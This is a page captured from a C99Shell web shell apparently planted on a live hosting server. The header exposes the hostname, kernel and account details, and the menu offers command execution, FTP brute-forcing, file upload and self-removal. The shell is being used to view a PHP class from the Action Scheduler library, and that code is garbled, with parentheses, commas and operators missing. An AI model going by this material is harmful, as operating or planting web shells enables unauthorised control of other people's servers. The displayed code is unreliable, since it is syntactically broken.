!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/action-scheduler/classes/   drwxr-xr-x
Free 293.26 GB of 429.69 GB (68.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActionScheduler_ActionFactory.php (7.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class ActionScheduler_ActionFactory
 */
class ActionScheduler_ActionFactory {

    
/**
     * @param string $status The action's status in the data store
     * @param string $hook The hook to trigger when this action runs
     * @param array $args Args to pass to callbacks when the hook is triggered
     * @param ActionScheduler_Schedule $schedule The action's schedule
     * @param string $group A group to put the action in
     *
     * @return ActionScheduler_Action An instance of the stored action
     */
    
public function get_stored_action$status$hook, array $args = array(), ActionScheduler_Schedule $schedule null$group '' ) {

        switch ( 
$status ) {
            case 
ActionScheduler_Store::STATUS_PENDING :
                
$action_class 'ActionScheduler_Action';
                break;
            case 
ActionScheduler_Store::STATUS_CANCELED :
                
$action_class 'ActionScheduler_CanceledAction';
                if ( ! 
is_null$schedule ) && ! is_a$schedule'ActionScheduler_CanceledSchedule' ) && ! is_a$schedule'ActionScheduler_NullSchedule' ) ) {
                    
$schedule = new ActionScheduler_CanceledSchedule$schedule->get_date() );
                }
                break;
            default :
                
$action_class 'ActionScheduler_FinishedAction';
                break;
        }

        
$action_class apply_filters'action_scheduler_stored_action_class'$action_class$status$hook$args$schedule$group );

        
$action = new $action_class$hook$args$schedule$group );

        
/**
         * Allow 3rd party code to change the instantiated action for a given hook, args, schedule and group.
         *
         * @param ActionScheduler_Action $action The instantiated action.
         * @param string $hook The instantiated action's hook.
         * @param array $args The instantiated action's args.
         * @param ActionScheduler_Schedule $schedule The instantiated action's schedule.
         * @param string $group The instantiated action's group.
         */
        
return apply_filters'action_scheduler_stored_action_instance'$action$hook$args$schedule$group );
    }

    
/**
     * Enqueue an action to run one time, as soon as possible (rather a specific scheduled time).
     *
     * This method creates a new action with the NULLSchedule. This schedule maps to a MySQL datetime string of
     * 0000-00-00 00:00:00. This is done to create a psuedo "async action" type that is fully backward compatible.
     * Existing queries to claim actions claim by date, meaning actions scheduled for 0000-00-00 00:00:00 will
     * always be claimed prior to actions scheduled for a specific date. This makes sure that any async action is
     * given priority in queue processing. This has the added advantage of making sure async actions can be
     * claimed by both the existing WP Cron and WP CLI runners, as well as a new async request runner.
     *
     * @param string $hook The hook to trigger when this action runs
     * @param array $args Args to pass when the hook is triggered
     * @param string $group A group to put the action in
     *
     * @return int The ID of the stored action
     */
    
public function async$hook$args = array(), $group '' ) {
        
$schedule = new ActionScheduler_NullSchedule();
        
$action = new ActionScheduler_Action$hook$args$schedule$group );
        return 
$this->store$action );
    }

    
/**
     * @param string $hook The hook to trigger when this action runs
     * @param array $args Args to pass when the hook is triggered
     * @param int $when Unix timestamp when the action will run
     * @param string $group A group to put the action in
     *
     * @return int The ID of the stored action
     */
    
public function single$hook$args = array(), $when null$group '' ) {
        
$date as_get_datetime_object$when );
        
$schedule = new ActionScheduler_SimpleSchedule$date );
        
$action = new ActionScheduler_Action$hook$args$schedule$group );
        return 
$this->store$action );
    }

    
/**
     * Create the first instance of an action recurring on a given interval.
     *
     * @param string $hook The hook to trigger when this action runs
     * @param array $args Args to pass when the hook is triggered
     * @param int $first Unix timestamp for the first run
     * @param int $interval Seconds between runs
     * @param string $group A group to put the action in
     *
     * @return int The ID of the stored action
     */
    
public function recurring$hook$args = array(), $first null$interval null$group '' ) {
        if ( empty(
$interval) ) {
            return 
$this->single$hook$args$first$group );
        }
        
$date as_get_datetime_object$first );
        
$schedule = new ActionScheduler_IntervalSchedule$date$interval );
        
$action = new ActionScheduler_Action$hook$args$schedule$group );
        return 
$this->store$action );
    }

    
/**
     * Create the first instance of an action recurring on a Cron schedule.
     *
     * @param string $hook The hook to trigger when this action runs
     * @param array $args Args to pass when the hook is triggered
     * @param int $base_timestamp The first instance of the action will be scheduled
     *        to run at a time calculated after this timestamp matching the cron
     *        expression. This can be used to delay the first instance of the action.
     * @param int $schedule A cron definition string
     * @param string $group A group to put the action in
     *
     * @return int The ID of the stored action
     */
    
public function cron$hook$args = array(), $base_timestamp null$schedule null$group '' ) {
        if ( empty(
$schedule) ) {
            return 
$this->single$hook$args$base_timestamp$group );
        }
        
$date as_get_datetime_object$base_timestamp );
        
$cron CronExpression::factory$schedule );
        
$schedule = new ActionScheduler_CronSchedule$date$cron );
        
$action = new ActionScheduler_Action$hook$args$schedule$group );
        return 
$this->store$action );
    }

    
/**
     * Create a successive instance of a recurring or cron action.
     *
     * Importantly, the action will be rescheduled to run based on the current date/time.
     * That means when the action is scheduled to run in the past, the next scheduled date
     * will be pushed forward. For example, if a recurring action set to run every hour
     * was scheduled to run 5 seconds ago, it will be next scheduled for 1 hour in the
     * future, which is 1 hour and 5 seconds from when it was last scheduled to run.
     *
     * Alternatively, if the action is scheduled to run in the future, and is run early,
     * likely via manual intervention, then its schedule will change based on the time now.
     * For example, if a recurring action set to run every day, and is run 12 hours early,
     * it will run again in 24 hours, not 36 hours.
     *
     * This slippage is less of an issue with Cron actions, as the specific run time can
     * be set for them to run, e.g. 1am each day. In those cases, and entire period would
     * need to be missed before there was any change is scheduled, e.g. in the case of an
     * action scheduled for 1am each day, the action would need to run an entire day late.
     *
     * @param ActionScheduler_Action $action The existing action.
     *
     * @return string The ID of the stored action
     * @throws InvalidArgumentException If $action is not a recurring action.
     */
    
public function repeat$action ) {
        
$schedule $action->get_schedule();
        
$next     $schedule->get_nextas_get_datetime_object() );

        if ( 
is_null$next ) || ! $schedule->is_recurring() ) {
            throw new 
InvalidArgumentException__'Invalid action - must be a recurring action.''kkart' ) );
        }

        
$schedule_class get_class$schedule );
        
$new_schedule = new $schedule$next$schedule->get_recurrence(), $schedule->get_first_date() );
        
$new_action = new ActionScheduler_Action$action->get_hook(), $action->get_args(), $new_schedule$action->get_group() );
        return 
$this->store$new_action );
    }

    
/**
     * @param ActionScheduler_Action $action
     *
     * @return int The ID of the stored action
     */
    
protected function storeActionScheduler_Action $action ) {
        
$store ActionScheduler_Store::instance();
        return 
$store->save_action$action );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--